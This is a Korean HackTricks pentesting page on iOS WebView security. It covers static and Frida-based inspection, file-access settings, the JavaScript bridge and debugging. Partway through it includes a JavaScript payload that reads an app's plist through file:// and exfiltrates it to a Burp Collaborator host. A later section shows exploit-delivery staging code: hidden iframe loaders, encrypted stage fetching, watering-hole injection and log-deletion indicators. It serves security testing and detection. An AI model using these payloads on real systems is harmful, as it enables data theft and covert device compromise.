iOS 웹뷰
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
이 페이지의 코드는 here에서 추출되었습니다. 자세한 내용은 해당 페이지를 확인하세요.
웹뷰 유형
웹뷰는 애플리케이션 내에서 웹 콘텐츠를 인터랙티브하게 표시하는 데 사용됩니다. 다양한 유형의 웹뷰는 iOS 애플리케이션에 대해 서로 다른 기능과 보안 특성을 제공합니다. 간단한 개요는 다음과 같습니다:
-
UIWebView는 iOS 12 이후로 더 이상 권장되지 않습니다. JavaScript 비활성화 지원이 없어 스크립트 인젝션 및 Cross-Site Scripting (XSS) 공격에 취약합니다.
-
WKWebView는 앱에 웹 콘텐츠를 통합할 때 권장되는 옵션으로, 콘텐츠와 보안 기능에 대한 향상된 제어를 제공합니다. JavaScript는 기본적으로 활성화되어 있지만 필요 시 비활성화할 수 있습니다. 또한 WKWebView는 JavaScript가 자동으로 창을 여는 것을 방지하는 기능을 지원하고 모든 콘텐츠가 안전하게 로드되도록 보장합니다. 추가로, WKWebView의 아키텍처는 메모리 손상이 메인 앱 프로세스에 영향을 미칠 위험을 최소화합니다.
-
SFSafariViewController는 앱 내에서 표준화된 웹 브라우징 경험을 제공하며, 읽기 전용 주소 필드, 공유 및 탐색 버튼, Safari에서 콘텐츠를 직접 열 수 있는 링크 등 특정 레이아웃으로 쉽게 알아볼 수 있습니다. WKWebView와 달리 SFSafariViewController에서는 JavaScript를 비활성화할 수 없으며, Safari와 쿠키 및 데이터를 공유하여 앱으로부터 사용자의 프라이버시를 보호합니다. App Store 가이드라인에 따라 눈에 띄게 표시되어야 합니다.
// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
WebViews 구성 탐색 요약
정적 분석 개요
WebViews 구성 검토 과정에서 두 가지 주요 유형에 중점을 둡니다: UIWebView 및 WKWebView. 바이너리에서 이러한 WebViews를 식별하기 위해 특정 클래스 참조와 초기화 메서드를 검색하는 명령이 사용됩니다.
- UIWebView 식별
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
이 명령은 binary에서 관련 텍스트 문자열을 검색하여 UIWebView 인스턴스를 찾는 데 도움이 됩니다.
- WKWebView 식별
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
마찬가지로, WKWebView의 경우 이 명령은 사용을 나타내는 텍스트 문자열을 바이너리에서 검색합니다.
또한, WKWebView가 어떻게 초기화되는지 찾기 위해 초기화와 관련된 메서드 시그니처를 대상으로 다음 명령이 실행됩니다:
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
JavaScript 구성 확인
WKWebView의 경우, JavaScript를 필요하지 않은 한 비활성화하는 것이 모범 사례로 강조됩니다. 컴파일된 바이너리를 검색하여 javaScriptEnabled 속성이 false로 설정되어 JavaScript가 비활성화되어 있는지 확인합니다:
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
오직 보안 콘텐츠 검증
WKWebView는 UIWebView와 달리 혼합 콘텐츠 문제를 식별할 수 있습니다. 이는 모든 페이지 리소스가 보안 연결을 통해 로드되는지 확인하기 위해 hasOnlySecureContent 속성으로 검사됩니다. 컴파일된 바이너리에서의 검색은 다음과 같이 수행됩니다:
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
동적 분석 인사이트
동적 분석은 힙을 검사하여 WebView 인스턴스와 그 속성을 확인하는 작업을 포함합니다. 이 목적을 위해 webviews_inspector.js라는 스크립트가 사용되며 UIWebView, WKWebView, 및 SFSafariViewController 인스턴스를 대상으로 합니다. 이 스크립트는 발견된 인스턴스의 URL 및 JavaScript와 보안 콘텐츠 관련 설정을 기록합니다.
힙 검사는 ObjC.choose()를 사용해 WebView 인스턴스를 식별하고 javaScriptEnabled 및 hasonlysecurecontent 속성을 확인하는 방식으로 수행할 수 있습니다.
ObjC.choose(ObjC.classes["UIWebView"], {
onMatch: function (ui) {
console.log("onMatch: ", ui)
console.log("URL: ", ui.request().toString())
},
onComplete: function () {
console.log("done for UIWebView!")
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("URL: ", wk.URL().toString())
},
onComplete: function () {
console.log("done for WKWebView!")
},
})
ObjC.choose(ObjC.classes["SFSafariViewController"], {
onMatch: function (sf) {
console.log("onMatch: ", sf)
},
onComplete: function () {
console.log("done for SFSafariViewController!")
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log(
"javaScriptEnabled:",
wk.configuration().preferences().javaScriptEnabled()
)
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("hasOnlySecureContent: ", wk.hasOnlySecureContent().toString())
},
})
스크립트는 다음과 같이 실행됩니다:
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
핵심 결과:
- WebView 인스턴스가 성공적으로 찾아지고 검사되었습니다.
- JavaScript 활성화 여부와 보안 콘텐츠 설정이 확인되었습니다.
이 요약은 정적 및 동적 접근을 통해 WebView 구성을 분석하는 데 필요한 핵심 단계와 명령을 요약하며, JavaScript 활성화 및 혼합 콘텐츠 탐지와 같은 보안 기능에 중점을 둡니다.
WebView 프로토콜 처리
WebView에서 콘텐츠를 처리하는 것은 특히 http(s)://, file://, tel:// 같은 다양한 프로토콜을 다룰 때 중요한 부분입니다. 이러한 프로토콜은 앱 내에서 원격 및 로컬 콘텐츠를 로드할 수 있게 합니다. 로컬 콘텐츠를 로드할 경우 사용자가 파일 이름이나 경로에 영향을 주거나 콘텐츠 자체를 수정하지 못하도록 사전 조치를 취해야 한다는 점을 강조합니다.
WebViews는 콘텐츠 로드를 위한 여러 메서드를 제공합니다. 현재 deprecated된 UIWebView에서는 loadHTMLString:baseURL: 및 loadData:MIMEType:textEncodingName:baseURL: 같은 메서드를 사용합니다. 반면 WKWebView는 웹 콘텐츠에 대해 loadHTMLString:baseURL:, loadData:MIMEType:textEncodingName:baseURL:, 그리고 loadRequest:를 사용합니다. 로컬 파일 로드에는 보통 pathForResource:ofType:, URLForResource:withExtension:, init(contentsOf:encoding:) 같은 메서드가 사용됩니다. 특히 loadFileURL:allowingReadAccessToURL: 메서드는 특정 URL이나 디렉터리를 WebView로 로드할 수 있어 디렉터리가 지정되면 민감한 데이터가 노출될 수 있다는 점에서 주목할 만합니다.
소스 코드나 컴파일된 바이너리에서 이러한 메서드를 찾기 위해 다음과 같은 명령을 사용할 수 있습니다:
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
파일 접근에 관해서는, UIWebView는 이를 전역적으로 허용하는 반면, WKWebView는 파일 URL로부터의 접근을 관리하기 위해 allowFileAccessFromFileURLs 및 allowUniversalAccessFromFileURLs 설정을 도입하며, 둘 다 기본값이 false입니다.
보안 설정을 확인하기 위해 WKWebView 구성 상태를 점검하는 Frida 스크립트 예제가 제공됩니다:
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
마지막으로, 로컬 파일을 exfiltrating하는 것을 목표로 한 JavaScript payload의 예는 잘못 구성된 WebViews와 관련된 잠재적 보안 위험을 보여준다. 이 payload는 파일 내용을 server로 전송하기 전에 hex 형식으로 인코딩하며, 이는 WebView 구현에서 엄격한 보안 조치의 중요성을 강조한다.
String.prototype.hexEncode = function () {
var hex, i
var result = ""
for (i = 0; i < this.length; i++) {
hex = this.charCodeAt(i).toString(16)
result += ("000" + hex).slice(-4)
}
return result
}
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest()
xhr2.open(
"GET",
"http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/" +
xhr.responseText.hexEncode(),
true
)
xhr2.send(null)
}
}
xhr.open(
"GET",
"file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist",
true
)
xhr.send(null)
WebView를 통해 노출된 네이티브 메서드
iOS의 WebView 네이티브 인터페이스 이해
iOS 7부터 Apple은 WebView 내의 JavaScript와 네이티브 Swift 또는 Objective-C 객체 간의 통신을 위한 API를 제공했습니다. 이 통합은 주로 다음 두 가지 방법을 통해 이루어집니다:
- JSContext: Swift 또는 Objective-C 블록이
JSContext내의 식별자에 연결되면 JavaScript 함수가 자동으로 생성됩니다. 이를 통해 JavaScript와 네이티브 코드 간의 원활한 통합 및 통신이 가능합니다. - JSExport Protocol:
JSExport프로토콜을 상속하면 네이티브 속성, 인스턴스 메서드 및 클래스 메서드를 JavaScript에 노출할 수 있습니다. 이는 JavaScript 환경에서 발생한 변경이 네이티브 환경에 반영되고 그 반대도 가능함을 의미합니다. 다만 이 방법을 통해 민감한 데이터가 의도치 않게 노출되지 않도록 주의해야 합니다.
Accessing JSContext in Objective-C
Objective-C에서는 UIWebView의 JSContext를 다음 코드 한 줄로 가져올 수 있습니다:
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
WKWebView와의 통신
WKWebView에서는 JSContext에 대한 직접 접근이 불가능합니다. 대신 postMessage 함수를 통해 메시지 전달이 사용되어 JavaScript에서 네이티브로의 통신을 가능하게 합니다. 이러한 메시지에 대한 핸들러는 다음과 같이 설정되어 JavaScript가 네이티브 애플리케이션과 안전하게 상호작용할 수 있게 합니다:
func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}
상호작용 및 테스트
JavaScript는 script message handler를 정의하여 네이티브 레이어와 상호작용할 수 있습니다. 이를 통해 웹페이지에서 네이티브 함수를 호출하는 등의 작업이 가능합니다:
function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage([
"multiplyNumbers",
value1,
value2,
])
}
// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
네이티브 함수 호출의 결과를 캡처하고 조작하려면, HTML 내에서 callback function을 오버라이드할 수 있습니다:
<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result)
}
</script>
</html>
네이티브 측은 JavaScriptBridgeMessageHandler 클래스에 표시된 것처럼 JavaScript 호출을 처리하며, 숫자 곱셈과 같은 연산의 결과를 처리하여 표시 또는 추가 조작을 위해 JavaScript로 다시 보냅니다:
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}
iOS Web Exploit Delivery & Staging Tradecraft
다음 패턴들은 실제 iOS Safari/WebKit exploit delivery chains에서 관찰되었으며 분석, 탐지, 제어된 에뮬레이션에 유용합니다.
숨겨진 iframe을 통한 다단계 로더
일반적인 staging 패턴은 재감염(reinfection)이나 분석을 피하기 위해 실행을 차단(gate)한 다음, 다음 단계를 위해 숨겨지거나 화면 밖에 배치된 iframe을 주입하는 것입니다:
<script>
if (!sessionStorage.getItem('uid') && isTouchScreen) {
sessionStorage.setItem('uid', '1');
const frame = document.createElement('iframe');
frame.src = 'frame.html?' + Math.random();
frame.style.height = 0;
frame.style.width = 0;
frame.style.border = 'none';
document.body.appendChild(frame);
} else {
top.location.href = 'red';
}
</script>
최소의 스테이징 페이지는 document.write()를 통해 메인 로더를 주입할 수 있습니다:
<script>
document.write('<script defer="defer" src="rce_loader.js"><\/script>');
</script>
로더 단계는 종종 후속 JavaScript를 동기적으로 가져옵니다:
function getJS(fname) {
const xhr = new XMLHttpRequest();
xhr.open('GET', fname, false);
xhr.send(null);
return xhr.responseText;
}
후속 단계는 Blob URL을 생성해 worker와 유사한 컨텍스트에서 실행할 수 있습니다:
const workerCode = getJS('rce_worker_18.4.js');
const workerBlob = new Blob([workerCode], { type: 'text/javascript' });
const workerBlobUrl = URL.createObjectURL(workerBlob);
Safari가 WebKit/JSC 표면에 접근하도록 강제하기
피해자가 다른 브라우저에서 lure를 열면, 프로토콜 핸들러로 Safari를 강제로 실행할 수 있습니다:
if (typeof browser === 'undefined' && isIphone()) {
location.href = 'x-safari-https://example.com/<redacted>';
}
암호화된 스테이지 가져오기 (ECDH + AES)
일부 loaders는 전송 중에 exploit stages를 암호화합니다. 최소 클라이언트 흐름은 다음과 같습니다: 임시 ECDH keypair를 생성하고, base64 public key를 POST하고, 암호화된 blobs를 수신하고, AES 키를 도출하여 복호화한 다음 JavaScript로 디코딩합니다:
const kp = generateKeyPair();
const pubPem = exportPublicKeyAsPem(kp.publicKey);
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://<redacted>/stage?'+Date.now(), false);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JSON.stringify({ a: btoa(pubPem) }));
const { a, b } = JSON.parse(xhr.responseText);
const aesKey = deriveAesKey(kp.privateKey, b64toUint8Array(b));
const js = new TextDecoder().decode(decryptData(b64toUint8Array(a), aesKey));
Watering-hole injection pattern
침해된 사이트는 원격 스크립트를 로드하여 오프스크린 iframe을 생성하고 sandbox로 제한하면서도 스크립트 실행을 허용할 수 있다:
<script async src="https://static.example.net/widgets.js?token"></script>
const iframe = document.createElement('iframe');
iframe.src = 'https://static.example.net/assets/index.html';
iframe.style.width = '1px';
iframe.style.height = '1px';
iframe.style.position = 'absolute';
iframe.style.left = '-9999px';
iframe.style.opacity = '0.01';
iframe.setAttribute('sandbox', 'allow-scripts allow-same-origin');
document.body.appendChild(iframe);
Post-exploitation 안티-포렌식 지표 (JS implants)
- 일시적 스테이징 위치:
/tmp/<uuid>.<digits>/아래에STORAGE,DATA,TMP같은 하위 폴더 생성. /var/mobile/Library/Logs/CrashReporter/에서의 크래시 로그 삭제(종종 WebKit/SpringBoard 부분 문자열로 필터됨)./private/var/containers/Shared/SystemGroup/systemgroup.com.apple.osanalytics/DiagnosticReports/의 재귀적 삭제.
iOS WebViews 디버깅
(Tutorial based on the one from https://blog.vuplex.com/debugging-webviews)
iOS webviews 내부의 웹 콘텐츠를 효과적으로 디버깅하려면 Safari의 개발자 도구를 사용하는 특정 설정이 필요합니다. 이는 console.log()로 보낸 메시지가 Xcode 로그에 표시되지 않기 때문입니다. 핵심 단계와 요구사항을 강조한 간단한 가이드는 다음과 같습니다:
-
iOS 기기 준비: Safari Web Inspector를 기기에서 활성화해야 합니다. 설정 > Safari > 고급(Advanced) 로 이동하여 _Web Inspector_를 켭니다.
-
macOS 개발 기기 준비: macOS 개발 머신의 Safari에서 개발자 도구를 활성화해야 합니다. Safari를 실행하고 Safari > 환경설정(Preferences) > 고급(Advanced) 로 이동한 다음 Show Develop menu 옵션을 선택합니다.
-
연결 및 디버깅: iOS 기기를 macOS 컴퓨터에 연결하고 앱을 실행한 후, macOS의 Safari에서 디버깅할 webview를 선택합니다. Safari 메뉴 바에서 _Develop_로 이동해 iOS 기기 이름 위로 마우스를 올리면 webview 인스턴스 목록이 표시되며, 검사할 인스턴스를 선택하면 새로운 Safari Web Inspector 창이 열립니다.
제한사항에 유의하세요:
- 이 방법은 Safari에 의존하므로 macOS 기기가 필요합니다.
- Xcode를 통해 기기에 로드된 애플리케이션의 webviews만 디버깅할 수 있습니다. App Store나 Apple Configurator로 설치된 앱의 webviews는 이 방식으로 디버깅할 수 없습니다.
참고자료
-
https://cloud.google.com/blog/topics/threat-intelligence/darksword-ios-exploit-chain/
-
https://github.com/authenticationfailure/WheresMyBrowser.iOS
-
https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.


